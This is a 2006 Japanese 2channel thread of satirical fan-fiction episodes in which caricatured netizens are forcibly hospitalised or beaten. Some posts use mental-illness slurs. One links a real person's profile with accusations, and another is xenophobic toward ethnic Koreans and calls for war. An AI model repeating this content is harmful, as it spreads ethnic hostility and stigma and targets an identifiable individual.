猪肝井「おおお〜〜〜〜っ!!ツンデレいいよ〜〜〜!!もっと〜〜〜!!!
なんていうかねえ、美少女に「消えなよ!」っていわれても、逆にゾクゾクしちゃいました。」
メンゲ「こいつはすごい…これでわが国の基地外研究は大躍進することだろうな。」
ヨシダ「性犯罪との関連も調べられちゃいそうね、メンゲレちゃん。」

猪肝井が人柱になったおかげで松沢国の対基地外精神医療は大幅に進歩したそうです。

365 :名無しかましてよかですか?:2006/11/11(土) 20:56:29 ID:K5f5cMNd
ID:SEDxkVQ+
二代目キモ味乙

366 :名無しかましてよかですか?:2006/11/11(土) 21:06:11 ID:K5f5cMNd
ハイクオリティーなキモイ文章で読者に嫌悪感と不快感を与えるとはキモ味極まれり!
新時代、新進気鋭のキモ文章の創作者、キモ味二世(ID:SEDxkVQ+) ここに現る!

キモ味二世(ID:SEDxkVQ+)の誕生を記念して、万歳三唱!

ばんざーーい! ばんざーーい! ばんざーーい!!

367 :名無しかましてよかですか?:2006/11/11(土) 21:37:02 ID:wdPuMW/H
とうとう自分のキモさを他人の叩く材料にしだしたか…キモすぎる
早く入院しろよ。
そして二度と来るなよ

368 :名無しかましてよかですか?:2006/11/11(土) 22:21:20 ID:K5f5cMNd
>>367
すっぱい葡萄理論でキモ味二世の創作力に嫉妬するおまえは憐れw
キモ味二世の名前を踏襲したかったら、 ID:SEDxkVQ+ を超える
正視に堪えない気持ち悪い物語を書くべきだなw

369 :名無しかましてよかですか?:2006/11/12(日) 07:54:49 ID:ajPXSW6+
誰も嫉妬していない
むしろキモ味に粘着されている彼に同情している。
で、自分自身の気持ち悪さをネタに、気に食わない書き込みにたいし嫌がらせを行うなんて
基地外以外何者でもない
正視に耐えないのはお前の存在だけだっていい加減に気付け…

かんしゃく起こすなら見なければいいだろうに。


370 :名無しかましてよかですか?:2006/11/12(日) 12:10:07 ID:bIETZ2lQ
   ヽ 三_,. - " 三三三三__三三_三_三三三ヽ 
    ,V´三三三,. -─' ´ :.:.:.:.:.:.:.:.:.::.:.:.:.:.ヽ 三 ノ
   |_三三 ,. イ,:.:.:.:.:.:.:.:.:.::.:.:.:.:.:.:.:.:.::.::.:\:.:.:.:Y
   l _三:: ':.:.:.:/:.:.:.:.:.:l!:.:.:.:.:.:.、:.:.:.:.:\:.:.:.:.ヽ:.::.゙
    ゝ三 |:.::./:.:.:./.:.:.ハ:.:l!:.:.: i -.- .、::ヽ:.:.:.:.!:.:.:|
     ヽll !:.イ::.!: ,. -,‐‐l:.i! :.: |  ヽ.:.:.::.:ハ:.:.:|:.:.:|
        Y:.|!:.:.|:.:|:./_  !:|!、:.:.|  ,._=ー,、:.:ヾl:.:.:l   >>369
      l:.イ!:.:.l.:.レ =_.、ゝ ゝ!   ォ::::リ !:.:.:..|:.,リ  ボクが癇癪をおこす?
      ∨ V:.:イ! フ..ノ        ̄"イ:.:.:レ    いや、ぜんぜん。( ニヤリ
        _ゞ.:.:ゝ"    、      イ:.:/  
       イ ハ:.:ハ!-、   ー '   ∠:l:/    
     /: :.l r'{ レ l ´`ー-、 __ イ  l!' `ーr⌒ヽ
     , : : : :フ! ゝ. _      \ /      ヒ ハ
     |: : : : ゝゝ   _>     ノr===,、    iト、〈: : ヽ
    人: : : : : \r‐'/´  ̄ `<.li!   |:!    !|_ノ : : :.1
   /: : : : : : : :「ヽ./ o     ヽヾ_ ノj  ノ`!  } : : : :|
  (: : : : : : : : : :: ン'        /!| ̄ r'__,-_、フ: : : : :.|
  ヽ: : : : : : : : ::L7         / !| r ´. .! : : :!` ! : : : |
    \: : : : : :イ        /.  !| |ゝー!`:‐::!: :| : : : :!

371 :名無しかましてよかですか?:2006/11/12(日) 21:46:26 ID:pr1Rt17O
>>370
ウイルスコード貼ったのはどこのバカだ?


372 :名無しかましてよかですか?:2006/11/13(月) 10:43:28 ID:ox0EAPvl
まぁ何にせよ彼らが癇癪おこすって事は、かなり作品が効いたというわけで(何が琴線に触れたかはわからんが)
まぁGJってやつだな>西遊記

373 :名無しかましてよかですか?:2006/11/13(月) 20:55:32 ID:4er00kEE
西遊記、登場人物がちょっとまともだね。ちゃんと反省とかしてるし。(きもさんを除いて。)
こういうのもたまにはいいかも。

374 :吉田母登場:2006/11/14(火) 13:46:02 ID:SFZRNeKp
林間ハウス
林間「ヒックヒック」
ああ、なんでいつもいつもあのアンチコヴァの吉田達にボコボコにされて何も
言い返せないのか、それを考えると林間は夜も眠れず昼間寝ていた。しかし、林間は
あることに気づいた。そうだ、自分は教師だった。つまり・・・。林間はそう思うと
ガバっと身を起こして何かを書き始めた。

数日後、林間のいつものからみタイム
林間「ふっふっふ、やい、吉田、鳥坂、コヴァ、おめーらももう終わりだなっ」
吉田「一体どうしたんですか」
コヴァ「多分新しいエロゲでも買ったんでしゅにょ」
鳥坂「なら、学校くんなや」
林間「お前等は直ぐにエロゲのことだな!111この愚かなアンチコヴァ共も
今日の放課後で人生の終わりだっっ」
吉田「あー、オレと鳥坂は予備校行くんで一人で遊んで下さい」
コヴァ「ボクも今日は本を買いにリブロまで行くですにょ」
鳥坂「・・・いや、そういや・・・」
鳥坂が何かを言おうとしたとき、林間は勝ち誇ってこう言った
林間「ふっふっふ、実は今日の放課後、お前等の親を学校に呼び出したっっ!
そこでたっぷりと先生の話を聞かない悪い子だと言ってお前等のオコヅカイは
激減だっ!11!!」
吉田「うわぁ」
コヴァ「・・・林間先生・・・」
鳥坂「あー、もしかしてコレ?」
鳥坂が出したのは一枚のペラペラの紙。そこには何故か
「子息のことについて」と書いてあり今日の日時と鳥坂の名、そして林間の名が書いてある。
鳥坂「オカン、笑っとったで、こんなんでダマされるバカはいないって」
林間「・・・」

375 :吉田母登場:2006/11/14(火) 13:47:10 ID:SFZRNeKp
吉田「そーいや姉ちゃんもその紙見てゴミだと思って即座に捨てたな、見覚え有る」
林間「そ、そんなこともあろうかとなっ、吉田とコヴァの家には担任の名を騙って
呼び出し電話かけたぜ!しかも吉田はギョーザの実家に!1!!今日の朝になっ」
吉田「アホの上に最悪だ・・・」
コヴァ「林間先生・・・・」
林間「フハハハハハハハ、これでお前等ももうおしまいなんだよっっ、放課後を
楽しみになっっ」
そういうと林間は授業中にも関わらず廊下に出て行ってしまった。
コヴァ「どうするですにょ」
吉田「さあ・・・」

海武学園校門前、手にカステラが入った紙袋を持ったコヴァの母・木場秋子が
立っていた。まさか、ここ最近はすっかり無くなって安心していたのにまた息子が
学校で問題を起こすなんて・・・。
秋子の気分は重かった。
その時、背後から重厚感溢れる排気音が。
××「ここが海武学園?」
そこには・・・

放課後
吉田「しっかし、参ったなあ・・・。まさか親呼び出されるなんて」
コヴァ「ボクのママンは慣れていますけどね」
鳥坂「そりゃー、そうやろ」
吉田「いや、そういう問題じゃなくて・・・、なんでオレが中学時代猛勉強してこっちを
受けたか分かる?」
コヴァ「エリートになりたかったからですかね?」
鳥坂「そりゃ、ここが国立の医学部に強いからやろ」

376 :吉田母登場:2006/11/14(火) 13:48:14 ID:SFZRNeKp
吉田「・・・違うんだよ。ウチの二人の姉ちゃんは知ってるだろ」
二人は「うん」とうなづいた。
吉田「姉ちゃん達よりも母ちゃんはな・・・・」

排気音の主、それは高級車のリムジンであった。車は正門前にすっと止まると車から
そそくさと男が出てきた。そして後部座席のドアを開ける。
「ここがシゲちゃんの通ってる学校ね・・・」
そして中からは20年前のデヴィ夫人っぽい女性が現れた。そして背後には数人の黒服が
「ここ?海武学園?」
女性は秋子に聞く
「・・・は、はい」
「そぉ、ここがね・・・。ところで、ウチのシゲちゃんに文句をつけた国崎って男の
居場所は分かる?」

吉田「あの姉ちゃん二人を足したぐらい性格悪いんだよー。軽く見積もって・・・」
二人「エッ」
吉田「まあ、じいちゃんに激甘やかされて育ったんだけどさー。前に実家が傷害罪と
医師法違反で立ち入り検査喰らったんだけど、そん時親父に全部責任押しつけて今では
パシリ扱いにしてる。オレ、幼心に『婿養子にだけはならない』って決めた」
鳥坂「そりゃー・・・エグいな」
コヴァ「ありえましぇん」
吉田「で、オレのことを猫かわいがりしてて、それを心配したきー姉ちゃんからこっち
来ないかと言われてこっちに来たんだよ」
コヴァ「激しい話でしゅね」
鳥坂「つーかどこの漫画や」
吉田「要するに担任の先生は・・・」
その時、職員室の方から担任の悲鳴が
担任「ぎゃあああああああああ」

377 :吉田母登場:2006/11/14(火) 13:49:17 ID:SFZRNeKp
職員室に三人が向かうと、担任は今にも吉田母に連行されるところだ。
担任の左右は黒服に押さえられ御神輿状態だ
吉田母「ウチのシゲちゃんに、なーんたる、なーーーーんたる」
秋子「落ち着いて下さい吉田さんっ」
教頭「そうですよ、ここは平静に・・・」
担任「って新キャラ出るたびに悲惨な目に遭わせるなぁぁぁぁぁ」
吉田「かっ、母さん」吉田が一言言った。
ケロリ、吉田母は機嫌を直した。
吉田母「あらシゲちゃんどうしたの。今、お母さんねこの先生を・・・」
コヴァ「悪いことしてる先生はこの先生じゃないですよ」
秋子「そうですよ。国崎先生は悪いことをする人じゃありません、決して」
そして、この騒ぎの背景に感じるにたついた笑い。振り返ると、柱の影から半分
林間が身体を出していた。
鳥坂「むしろ悪い先生なのはあっこにいるガリニートや」
林間「ボクはニートじゃないかんしゃくおこす!1!!!!!」
吉田「と言うことでお母さん、国崎先生は・・・」
吉田母「うふ、あの林間とか言う人。良い基地外の匂いがするわぁ・・・」
鳥坂「なあ、吉田。一つ聞くけどオカンも精神科医か?」
吉田は無言で頷いた。
吉田母「それに・・・、先月ウチの病院内うろついてウチのもみじにいたずらを・・・」
林間「そ、そんなことしてないよっ、先月ギョーザでもみじちゃんをさらおうなんて・・・」
吉田母「そう、良い子ね・・・。やっておしまい黒服軍団っっっ」
林間「ギャーーーーーース」

数日後、「おはなゆ〜え〜んち〜」とあらぬ事を言いながら微笑む林間が
ギョーザ市からゆうパックで郵送されてきた。

378 :名無しかましてよかですか?:2006/11/15(水) 02:49:35 ID:w5+c1Ki4
>>374-377乙ですが

>なーんたる、なーーーーんたる
>「おはなゆ〜え〜んち〜」
ひょっとしてナガノ者?

379 :林間のパラレル西遊記:2006/11/16(木) 16:37:39 ID:Dfp1wu6d
はるかなる天竺を目指して今日も旅を続ける林間法師一行。
松沢国で女医たちと粗大ゴミを置いていくという素敵な裏取引で
松沢国立病院を抜けてから、すでに半年の月日が経過していました。
そんなある日、林間法師たちは新たな町に到着しました。
その町には不思議にも女しかおらず、男がほとんどいません。
しかも、その男たちもいかにも旅人といった感じです。
さっきから、町の女たちが林間法師たちをじろじろと見ています。
林間法師たちも舐め回すように女たちを吟味しています。
だいぶ南へ下ってきたのか、季節は春だというのに、かなりの暑さを感じます。
千葉行者が神秘的な雰囲気の井戸を見つけ、我先に井戸の水を飲み始めました。
真保悟浄もそれに続きます。そして、次に林間法師が水を飲もうとすると、
後ろから「あんたたちここの井戸の水を飲んだねっ!」という声がしました。
後ろで恰幅のいいおばさんがうろたえています。

林間法師「ここの水がどうかしたかい?」
おばさん「ここの水はねっ、女性しか飲んじゃいけないんだよっ!!!」
真保悟浄「女しか飲むな?笛見腐足巣党の構成員だな!お前は!?」
おばさん「いい年して何わけわかんないこといってんのあんたは!
ここの水はね、飲んじゃうと、子供ができちゃうのよ!!」
真保悟浄「おばさんの方がわけがわかんないよ!!なんだよ、子供ができるって。
言っとくけど、俺には嫁はおろか、彼女もいないぞ。」
おばさん「そんなことわかってるわよ!ここの水を飲むとね、女だろうが、男だろうが、
子供を身ごもってしまう、『懐妊の井戸の水』っていう水なのよ!!!」
林間法師「ちょっ、嘘だろ…」
千葉行者「金髪スキー君、わし…何か気分が悪いのじゃよ…」
真保悟浄「俺も…あぁ…すっぱいものが食べたい…」
林間法師「ひぇええええ!!11!どうすればいいんだーーーー!11!!
男が身ごもるなんて気持ち悪すぎるよーーー!!1!!やい、作者!111!
変なところだけ原作を再現すんじゃねえかんしゃくおこす!1!!1!」
おばさん「ちょっとうちを使わせてあげるわ。こっちへ来て。」

380 :林間のパラレル西遊記:2006/11/16(木) 16:39:50 ID:Dfp1wu6d
林間法師たちはおばさんの経営する宿屋に連れて行かれました。
おばさんが深刻な顔で、林間法師に言います。

おばさん「このままじゃあの二人死んじゃうよ。」
林間法師「でも、期限は10ヶ月あるんだろ?それまでに解決策を…」
おばさん「とんでもない!!あの井戸の水で身ごもると、3週間で生まれちゃうんだよ!」
林間法師「ええ!たったそれだけ!?で、三週間経つとどうなるか教えてくれ。」
おばさん「終わりのない陣痛に耐え切れなくなって死ぬか、子供が親の腹を破って
親が死んじゃうかのどっちかだよ。これまで誤ってあの井戸の水を飲んだ男たちは
あのどっちかで死んじまったのさ。多分、お坊さんのお連れも…」
林間法師「こいつらをここで死なせるわけにはいかん!解決方法はあるのか?」
おばさん「ここからずっと西に仙人様が住んでいてその人の家の井戸の水は
『堕胎の井戸の水』というらしいのよ。その水を飲めば効果が打ち消されるらしいんだけど…
でも、あの仙人様、ものすごく意地悪だから、水を分けてくれるかどうか。」
林間法師「仙人の住んでいる場所を教えてくれ!!11!
なんとしてでもその仙人を説得して水を持って帰るから。」

林間法師は芭琉貴璃偉二世に跨ると馬を西へ西へと走らせました。
そして1週間後、仙人の庵に到着しました。

林間法師「ごめんください!」
仙人「なんじゃ、おのれは」
林間法師「私は女人国から仙人様のお宅の『堕胎の井戸の水』を取りに参りました、
林間法師と申す僧です!」
仙人「ほぅ、あの井戸の水を…そうか、おぬしの仲間あたりがあの水を飲んだと見える。」
林間法師「はい。おっしゃるとおりです。」
仙人「そこでわしの所へ水を取りに来たというわけだな?」
林間法師「はい。ぜひ水をください!!」
仙人「まぁ、そう慌てるでない…おぬしに試練を課す。それをこなせたらやろう。」
林間法師「そんなこと言っている暇はないんです!11!!早く水をください!!1!!」
仙人「そんなことを言うのなら水はやらんよ。…と言う事で、まずは薪を取ってきな」

381 :林間のパラレル西遊記:2006/11/16(木) 16:41:35 ID:Dfp1wu6d
林間法師は近くの山へ薪を取りに行きました。
そして、薪を取って戻ると、仙人は次々と課題を出してきました。

仙人「おぅ、次は庭の草むしりな」
仙人「ちょっとこの服洗濯してくれ」
仙人「この服にな、つぎはぎを当てといてくれ。」
仙人「メシだ、汁気の多い白がゆを頼む。塩は少なめにな。」
仙人「今から亀甲占いをするから、裏の倉庫から亀の甲羅を取って来い。」
林間法師(なんかいいようにこき使われていないか?俺。)

いつの間にか、時刻は夜になっていました。

仙人「さてと、それでは…」
林間法師「お水くださるんですね!?」
仙人「いや、寝るんだよ。それじゃ、また明日も明後日も頼むぞ。」

ついに林間法師の堪忍袋の緒が切れました。

林間法師「かんしゃくおこすぅううぅぅぅう!!1!1!このクソじじぃ!1!!!!!
俺はてめぇの家の家政婦じゃねえんだよ!11!!人の足元見やがって!!11!
てめぇみたいな極悪人はブッ殺してやる!!1!地獄に落ちろ!!11!」

林間法師は仙人を半殺しにした後、自力で井戸を発見し、
もって来たひょうたんに水を入れて急いでまたまた一週間かけて女人国に戻りました。

382 :林間のパラレル西遊記:2006/11/16(木) 16:52:20 ID:Dfp1wu6d
林間法師「千葉!真保!!水を持ってきてやったぞ!!!」

林間法師は千葉行者と真保悟浄に水を飲ませました。
すると、瞬く間に二人のおなかが引っ込み始め、数分後には元通りになりました。

真保悟浄「はぁ…助かった…」
千葉行者「死ぬかと思ったのじゃよ。金髪スキー君、君は命の恩人なのじゃよ。」
林間法師「ハッハッハ、当たり前だろ?俺たちは仲間じゃないか。」

それから間もなく、林間法師のところに甲冑を着た女性がやってきました。

女性「貴様が林間法師か!西の仙人様に暴行を加えたそうだな。
ちょっと我々女人国軍治安維持部隊詰め所まできてもらおうか?」

2週間後、林間法師は女人国の農園でこき使われていました。

林間法師「くそー、あのクソじじいめ!!11!通報しやがって…
半年の強制労働だと!?ふざけんなかんしゃくおこす!11!!1」
千葉行者「金髪スキー君、君のせいで本来働かなくて良い身分の
わしまで働かされてしまっておるではないか!!こないだの発言は
取り消させてもらうのじゃよ!!このチョソの倭人!!!!」
地主「コラーーッ!誰がサボれと言った!?わが娘ユリよ!!!
こいつらを木刀で打ちのめせ!!!!」

383 :名無しかましてよかですか?:2006/11/17(金) 01:38:43 ID:EodZKaN7
如意真仙アッケナサスw

384 :名無しかましてよかですか?:2006/11/19(日) 19:45:57 ID:MG4HCHzA
長野寄生虫なんかよりよほどこのスレに相応しいヤツがいることが判明
ttp://02.members.goo.ne.jp/www/goo/s/h/soh-kudan/profile.html

・親は立命館卒の人権派弁護士
・自称IQ174
・入学した都立高校を体育教師殴って退学
・それを逆恨みしてカッターナイフもって高校に侵入しお巡りさん→黄色い救急車
・黄色い救急車を三度も呼ばれたことがある。一度目は脱走、二度目は沙汰無く解放、
三度目は措置入院
・維新政党新風所属w
・横溝孝博を殺害するために民主党、土井たか子と辻元清美を殺害するために社民党に
入党するなどアレな行動
・自称プロボクサー(戦績無し)
・ウィキペディア荒らしなどに代表されるようなデムパな行動の数々

愛国四人組の新メンバー入りを検討させるべきでは?

385 :名無しかましてよかですか?:2006/11/20(月) 22:22:51 ID:cso1xUr3
>>384
つーかそいつ、議員板で殆どオモチャあつかいだよな

話は全然変わるが、ここ最近はこの一連の物語って、ウヨサヨ関係なしに
「女とヤリたいだけの奴が、暴走してあちこちに迷惑かける」
って話で定着しつつあるな。

386 :名無しかましてよかですか?:2006/11/20(月) 23:15:26 ID:Mepnyn9v
だって、特3の行動の8割はそれが原因じゃん・・・w

387 :名無しかましてよかですか?:2006/11/21(火) 12:03:55 ID:RK/7Z8bf
菊地(木場ヒロシ)・・・びたみんストーカー事件。びたみんをネットストーキンした上に、
「一緒に東京で同棲するですよ!うぽぽおおおおお」と誘っていた。上村愛子ハァハァ
加藤ゆりあのエロ画像きぼんぬ。半角板の田代画像スレで大暴れ

まほきゃすと(真保トシヤ)・・・女目当てで保守思想の政治集会に侵入。TBSオフ会では
全ての女性参加者をオフ以降見かけなくするなど大暴れ

推定林間(林間カヅフサ)・・・エロゲーのセリフを誤爆。金髪大好き。脳内彼女を殴る
ゴミ・シロアリ・モリモト・・・最早言うまでもない

388 :史上最強のコヴァ?:2006/11/21(火) 14:25:36 ID:Pq3J680L
黄色い救急車が疾走する。横っ腹には「都立松沢軍団」
免下「で、警視庁からか今日は」
軍団員「はい、是非免下先生らに頼みたいと丸の内署から直々に指名が」
ヨシダ「へえ、怜ちゃんも有名になったねー」
月宮「でも、警視庁とここって府警とウチが前にいた中宮と違ってあんま
仲良くないんやろ」
免下「まあ、そうだが・・・。しかし、向こうもようやくこっちの力を認めたと言うことだろう」
月宮「ならええんやけど・・・」

東京、丸の内。現場は人だかりが出来ているので直ぐに判った。車を降りて三人娘と
松沢軍団は現場に・・・
××「い6くytみ0−お87−お。lpym67y56j67,えjふ;〜〜〜〜」
見るとボクシンググローブを身につけた男がグルグル一人でGUN道の舞を踊っている。
「うわあ」と言う声が軍団からさえも漏れた。そこに一人の警察官がやってきた。
警察官「警視庁警備部フラスペ対策兼その他のアレな人々対策課巡査の隈田(わいた)ですっ」
免下「ところであれは一体何かね」
男の踊りはブレイクダンスも加味された奇妙な踊りになっていた。
隈田「はいっ、男の名前は北越谷サトシ、26歳の自称政治運動家というニートです」
免下「ありがちだなあ。で、あそこの回転している男を病院に連れて行けばいいのか?」
隈田「はいっ、そうです。何回かこっちに通報が来ていて、何回か病院に送ろうとしたのですが、
前々回はハセガワ病院、前回は吉城寺病院に連れていこうとしたのですが逃げられてしまって・・・」
免下「で、我々にお鉢が回ってきたのか。まあ、経緯はともかく、仕事はきっちりするのが
都立松沢軍団のモットー。おい、ヨシダ・月宮・配置につけ、軍団員も打ち合わせ通りに」
月宮「ほな」ヨシダ「ハイ」軍団員「ゾッス」
全員が配置に付き、さあ、一斉に襲いかかろうとしたときだった。
軍団員「ん?」
ヨシダ「キャッ」月宮「なんや」免下「おい、みんなどうした・・・って?」
皆が足元を取られて思うように動けない。一体どうしたのか?

389 :史上最強のコヴァ?:2006/11/21(火) 14:26:28 ID:Pq3J680L
免下「ええ、足元に何かひっついててうごけんぞ!おい」
その時だった、背後から意外な声が
××「サトシちゃーーーーん、逃げてーーーーーーーーーー」
オバチャンの声
免下「誰だっ、一体」
××「パパとママはサトシの味方だぞーーーーー」
軍団達の背後に立つ二つの影。手には「とりもち」と書かれたバケツとハケを持っている。
ヨシダ「あのぅ・・・、もしかして・・・ご両親の方でらっしゃいますか?」
北越谷父「はい、東京第三弁護士会会長の北越谷音吉でございます」
北越谷母「妻の玉子でございます」
ようやく膝から鳥もちをひっぺがした免下が立ち上がる。
免下「で、そのご両親が一体何のようで(ピキピキ」
北越谷父「サトシは、決して悪い子じゃないんです。ただ、酷く正義感が強くて思いこみが
激しいだけで悪い子じゃないんです」
北越谷母「サトシちゃんは良い子なんです。ただ、ちょっと妄想癖があって独善的で今日も
丸の内で無差別に通りかかる人をサヨク扱いして・・・」
免下「えー、いくつか聞きたい。まず、隈田。その北越谷サトシってどういう方向でヤバいんだ」
隈田「はいっ、政治思想系で、特に強くサヨクに反感を持っており、本人は維新政党珍風に
所属し、社民党代議士の殺害計画をネット上に公表していました」
免下「よーし判った。もう隈田は帰れ。次に、北越谷さん、何で私らの足元に鳥もち撒いた?」
北越谷父「そりゃあもう、貴方達松沢軍団の悪評は日本社会民主党系の我が弁護士会では
民主主義、社会の敵と(以下長々と演説)」
免下「よーしもういい。帰れ」
月宮「その前にオッサン、アンタ大学何処?」
北越谷父「京都の名門、刻命館大学ですが何か」
月宮「・・・やっぱりな、大阪時代あっこには・・・(ブツブツ」
そして免下が再び指示を出そうとしたとき、ヨシダがあることに気づいた。
ヨシダ「あの、サトシ君いないですよ。もう」そう、そこには誰もいなかった。

390 :史上最強のコヴァ?:2006/11/21(火) 14:28:27 ID:Pq3J680L
いつもの海武学園。昼休み
担任が缶コーヒー(ブラック・無糖)を買おうと自販機の前に立ってボタンを押そうとしたとき、
担任「ぺぷしっ」
後頭部に鈍痛を感じた。
担任「誰だっ、オレにいたずらするのは」
まあ、この時点で担任の脳裏にはリストがもう上がっていたが、そこにいたのは今まで
見たことのないタイプの人間だった。
××「ヒョォォォォォォォォォォ」
一見好青年風、しかし、その眼には明らかにヤバい光が宿っていた。
 や ら れ る
担任は一瞬身構える。

黄色い救急車が都内を流す。
月宮「あのアホ両親のせいで逃がしたアホボンどこや」
免下「しかたがないだろ。今更どうのこうの言っても」
ヨシダ「でも、今日のあの子は今までのタイプとは違うような気がしました」
月宮「別にかわらんやろ。要するに甘やかされたアホボンがなあ、思い通りにならんで
妙なモンに染まる。それだけや」
ヨシダ「いや、それはそうなんですけど・・・。今日、私達鳥もちまみれになりましたよね。
白くて、ねばねばの」
月宮「それがどうしたんや」
免下「そうだぞ、それが・・・いや」
ヨシダ「そうです。怜ちゃん、そこに良く気づきました」
月宮「いや、ウチにはさっぱりわからんけど」
免下「今までの木場ヒロシや林間カヅフサだったら、妙な妄想を働かせてヨシダ辺りに
襲いかかっていたはずだ」
ヨシダ「そうです。それがありませんでした!これは重大な違いです!」
月宮「色仕掛けするお前にだけ重大なだけやろ、それ」
免下「そうでもないと思うんだがな、少なくともフロイトならそう断言するだろう」

391 :史上最強のコヴァ?:2006/11/21(火) 14:29:36 ID:Pq3J680L
自販機コーナーで、怪しい青年と対峙する担任。さあ、どうするか
××「私の名前は北越谷サトシ」
担任「一体、何の用だ」
サトシ「ここは、海武学園だな」
担任「ああ、もし、事務局に用事があるならそこを右に・・・」
どす
担任の顔の横の壁にパンチが入れられる。
サトシ「そういう話じゃない。私は、この、反日勢力はびこる・・・」
担任の脳裏に「反日」という単語で何かピンと来たらしい。
担任「そうだ。コヴァに用事があるのか。ならな・・・」
サトシ「違うっ」
次に担任に蹴りが入った。「うっ」
サトシ「私は、この学園を変えるためにやってきたのだ」
担任「・・・」
さて、どうもほんまもんの方であるらしい。そうだ、こんな時は担任はケツポケに
入っている携帯電話を操作し、松沢軍団へ繋いだ。
サトシ「人の話を聞いているときに携帯を弄るとは何という不届き者っっ」
担任の顔にハイキックが入った。

てってけてけてけってって(笑点のテーマ)
免下「ん?海武の国崎か」
しかし、出ようとすると直ぐに切れてしまった。
免下「・・・丸の内から江古田までどれくらいかかる?」
軍団員「一時間もあれば十分だと思いますが」
時計を見る、朝の事件が発生してからもう二時間以上経つ
免下「ここから江古田の海武学園まで、どれくらいでつくか?」
軍団員「30分も見れば・・・」
免下は何かを思った。
免下「よし、海武学園へ出動だっ!」

392 :史上最強のコヴァ?:2006/11/21(火) 14:30:22 ID:Pq3J680L
吉田「さぁて、大学の学食にでも食いに行くか」
鳥坂「あそこ安くて美味いんだよなー」
コヴァ「アレ?あれはニッキョーソでは?」
昼食を食べに行こうとする三人の前に、担任の姿が映った。担任の向かいには若い男が立っている。
鳥坂「あれ?どうしたんや?センセー」
鳥坂が声をかけた瞬間、担任の顔にハイキックが
三人「えっ?」
コヴァ「もしかしたら林間センセーが変な人を呼び込んで・・・」
鳥坂「ある!それ絶対ありえる!」
吉田「じゃあオレとコヴァが行くから、鳥坂は職員室に」
鳥坂「分かった」

二人「国崎先生〜」
担任「く、来るんじゃない!」
二人「??」
担任がそう言いかけた次の瞬間、男は吉田とコヴァのところにいた。
担任「よせっ、教え子に手を出すなっ」
サトシ「この反日教師めっ、反日主義者は死ぬべきなんだよ」
コヴァ「んー、デジャヴですかね?」
吉田「えーと、とりあえずまたこの手のか。はいはいまたどうせアンタもただのエロゲスキー
とかサクラ大戦スキーとかが挫折して屈折して・・・」
担任「吉田っ、それ以上は止めろっ!そんな軽口が効くような相手じゃ・・・」
吉田「えっ」
コヴァ「なんでボクもですかね?」
次の瞬間
北越谷「北越谷急行きりふりパーーーーーーーーンチ」
二人はふっとばされた。もりさきくんばりに(続く)

393 :番組の途中ですが名無しです:2006/11/22(水) 05:36:38 ID:yLdq55Xr
>>385
>>384
>>386
【経済】 官庁「自業自得ですねw」 消費者金融、規制強化による制限で自主廃業も…"わが世の春"に幕
http://news19.2ch.net/test/read.cgi/newsplus/1163761135/

題名:Tokyo's Leverage Over Pyongyang
Wall Street Journal (subscription), NY - 6 hours ago
http://news.google.co.jp/news?hl=en&ned=us&q=pachinko&btnG=Search+News
.
.. The lucrative revenues from Pachinko gaming parlors throughout Japan --
one-quarter of which are owned by ethnic Koreans -- are the principal source of these ...

...日本(それらの4分の1は少数民族の朝鮮人によって所有される)の至る所で
のパチンコ賭博室からの有利な収入は、これらの主要な源です...
-------------------------------------------------------------------------------------------
日本人から金銭物品をひたすら搾り取ることしか頭にない

朝鮮系消費者金融
朝鮮殺人賭博
ヤクザ

こいつらは全面的に厳罰で存在自体を禁止しようぜ!。

何ィそしたら、禁酒法時代のアメリカやちょい前のコロンビアみたいに、犯罪組織と
治安機関の軍事衝突あるいは粛正派の要人に対する暗殺や爆破テロなどが多発するだあ?


   ・・・・・・・よろしい。ならば、全面的な対テロ戦争開始の口実だ。徹底的に潰しあおうぜ。

諸君、我々日本人は戦争が好きだ、好きで好きでたまらないんだからよ

394 :史上最強のコヴァ?:2006/11/22(水) 11:37:20 ID:pAdlxX0o
ドンッ
コヴァと吉田の二人は壁に打ち付けられた。
コヴァ「うおぅ」
吉田「なんだこいつ・・・、かなり強いじゃねえか」
サトシ「ふっふっふっふ、ボクはこう見えてもプロボクサーだからね」
吉田が何か言おうとするがコヴァが口を押さえた。
サトシ「さあて、今から職員室へ連れて行って反日授業をやっていた証拠を
見せてもらおうかニッキョーソ!」
担任は力なく頷く。そこに・・・
千葉「ギャワー、少年法は良くないのじゃよー」
林間「おや、どうしたのかな諸君」
と林間と千葉が現れた。
担任「また面倒なのが・・・」
サトシが声をかける
サトシ「おい、そこの男ども!こいつが逃げないように押さえろ」
林間「何でそんなことしなくちゃいけないんだよかんしゃくおこす!1!!」
千葉「ギャワー。反日勢力なんか触れないんじゃよー」(注 担任のこと)
サトシ「ほぉ、・・・私を反日勢力とよくも言ったな?」
コヴァ「ボクチンしらないでしゅ」
サトシ「維新政党珍風千代田区支部支部長北越谷サトシが貴様等に地獄を見せてやろう・・・」
千葉「えっ、そんな千代田区のセレブはワシの味方じゃよー」
林間「えっ、北越谷さん?あの、ボク、この学校の非常勤講師で愛国・・・」
サトシ「問答無用」
さいたまさいたまーさいたまーさいたまさいたまー
ひゅ〜〜〜〜
二体の肉塊が転がった。
コヴァ「や、やばいですにょ。死にたくないですにょ」
担任「一体オレはどうすればいいんだろうか・・・」

395 :史上最強のコヴァ?:2006/11/22(水) 11:38:29 ID:pAdlxX0o
海武学園内に侵入した維新政党珍風千代田区支部支部長、北越谷サトシは林間と千葉を
肉塊へと変え、反日勢力の抹殺を目的に暴走を開始しようとしていた。
担任「(ゴクリ)・・・分かった。私が責任持って職員室までキミを連れていく」
サトシ「分かればいい、分かれば」
担任が決意を決めて、サトシを職員室まで連れて行こうとしたその時、聞き覚えのある声が
教頭「国崎君、キミが連れていく必要はない」
鳥坂「とりあえず教頭と体育のセンセと身体に自信のあるセンセ全員連れてきたー!」
担任「き、教頭!」
吉田「鳥坂GJ」
サトシ「フッ、ニッキョーソめ。数で押し切ろうなんて卑怯だな」
サトシがそういうと、教頭は眉をピクリと動かしこう言った。
教頭「では、キミと一対一でやろうか」
教頭はスーツの上着を脱いだ。
サトシ「良いだろう。団塊オヤジに負けるほどオレはヤワじゃないってとこ見せてやる」
教頭「ほう、それは良い心がけだ。ところで君の名は」
教頭は更にネクタイを外し、ワイシャツのボタンに指をかけた。
サトシ「サトシ。維新政党珍風の千代田区支部支部長で、愛国者だ」
教頭「ほう、私はこの学校の教頭でね。神崎紀昭と言うんだが・・・」
教頭は勢いよくワイシャツを脱いだ。
担任「なんだありゃあ」
コヴァ「よ、予想外ですにょ!」
教頭の身体は筋骨隆々だった。しかも適切に脂肪が鎧のように被さりまるで
